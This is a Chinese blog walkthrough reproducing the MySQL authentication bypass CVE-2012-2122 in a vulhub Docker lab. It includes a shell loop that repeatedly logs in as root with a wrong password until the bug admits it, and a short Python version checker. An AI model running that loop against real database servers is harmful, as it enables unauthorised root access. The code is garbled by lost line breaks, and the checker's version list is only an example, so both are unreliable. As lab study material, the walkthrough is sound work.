当前位置: 首页 > backend >正文

Mysql 身份认证绕过漏洞 CVE-2012-2122

前言:CVE-2012-2122 是一个影响 MySQL 和 MariaDB 的身份验证漏洞,存在于特定版本中

vulhub/mysql/CVE-2012-2122/README.zh-cn.md at master · vulhub/vulhubhttps://github.com/vulhub/vulhub/blob/master/mysql/CVE-2012-2122/README.zh-cn.md

任务一 介绍 CVE-2012-2122

CVE 编号:CVE-2012-2122
披露时间:2012 年 6 月
漏洞类型:认证绕过(Authentication Bypass)
攻击类型:远程攻击,无需认证(Remote / Unauthenticated)
CVSS 评分:10.0(最高危)
攻击者可在不使用正确密码的情况下,通过反复尝试连接,以一定概率获得数据库的访问权限,包括 root 用户权限。
MySQL 在特定版本中,密码认证逻辑依赖 memcmp() 函数来比对密码哈希。但某些平台或编译器(如 GCC 编译的 Linux x86_64)优化后返回值未严格为 0 或非 0,而是返回正负整数错误的核心是:
if (!memcmp(user_input_hash, stored_hash, 20))
{// 登录成功
}原意是“如果两个哈希相等(返回值为 0)则通过”,但编译优化或符号扩展可能让返回值表现不稳定,导致错误判断于是只要攻击者足够频繁地发送错误密码,在特定概率(大约 1/256)下,memcmp 返回的非零值可能被误判为 “密码正确”,从而通过认证

任务二 启动环境 

cd mysql/CVE-2012-2122/
docker compose up -d

sudo apt update
sudo apt install mysql-client-core-8.0
//安装 MySQL 客户端//如果是MariaDB(一般情况不是)
sudo apt install mariadb-client-core

 

任务三 攻击 

for i in `seq 1 1000`; domysql -h 127.0.0.1 -P 3306 -uroot -pwrong_password 2>/dev/null
done//以下是可能出现的报错
//这是因为 mysql 命令默认尝试通过本地 socket 文件连接 MySQL,但:
复现环境中 MySQL 是跑在容器里,未通过本地 socket 暴露服务。

for i in `seq 1 1000`; domysql -h 127.0.0.1 -P 3306 -uroot -p123 2>/dev/null
done//改进代码

 

任务四 修复 | 验证 

import subprocessdef check_cve_2012_2122():try:output = subprocess.check_output("mysql --version", shell=True)version = output.decode().strip().split()[4].rstrip(',')affected_versions = ['5.1.62', '5.5.23', '5.6.5']  # 示例版本if version in affected_versions:return "Vulnerable"return "Patched"except Exception as e:return f"Error: {e}"

参考链接

  • MITRE CVE-2012-2122
  • MySQL Security Advisory

 

 

 

 

 

 

http://www.xdnf.cn/news/12260.html

相关文章:

  • Git 推送失败解决教程——error: failed to push some refs to
  • 世事无常,比较复杂,人可以简单一点
  • SELinux是什么以及如何编写SELinux策略
  • 亲测解决The scripts pylupdate5.exe, pyrcc5.exe and pyuic5.exe which is not on PATH
  • BLEU评分:机器翻译质量评估的黄金标准
  • 多模态大模型1、概览与前置任务
  • 部署DNS从服务器
  • JUnit
  • 微服务网关SpringCloudGateway+SaToken鉴权
  • 当.txt无法打开,如何恢复成记事本
  • 2025年- H71-Lc179--39.组合总和(回溯,组合)--Java版
  • Python数据可视化科技图表绘制系列教程(四)
  • 好得睐:以品质守味、以科技筑基,传递便捷与品质
  • C++中`printf`格式化输出的实用案例和说明
  • 【项目实践】SMBMS(Javaweb版)(三)登出、注册、注销、修改
  • 成工fpga(知识星球号)——精品来袭
  • Firefox 134.0.1 Win64 版详细安装指南
  • 一些实用的chrome扩展0x01
  • React从基础入门到高级实战:React 实战项目 - 项目一:在线待办事项应用
  • 解锁日事清任务自定义字段功能:创建类型、配置字段与应用场景
  • day34- 系统编程之 网络编程(TCP)
  • Linux网络——socket网络通信udp
  • Unknown key: ‘auto_activate_base‘解决
  • C++笔记-C++11(一)
  • DeepSeek 赋能智能养老:情感陪伴机器人的温暖革新
  • DevExpress WinForms v24.2 - 新增日程组件、电子表格组件功能扩展
  • 压敏电阻的选型都要考虑哪些因素?同时注意事项都有哪些?
  • Vehicle HAL(7)--how client connect to Vehicle HAL?
  • Spring事务失效-----十大常见场景及解决方案全解析
  • Git Svn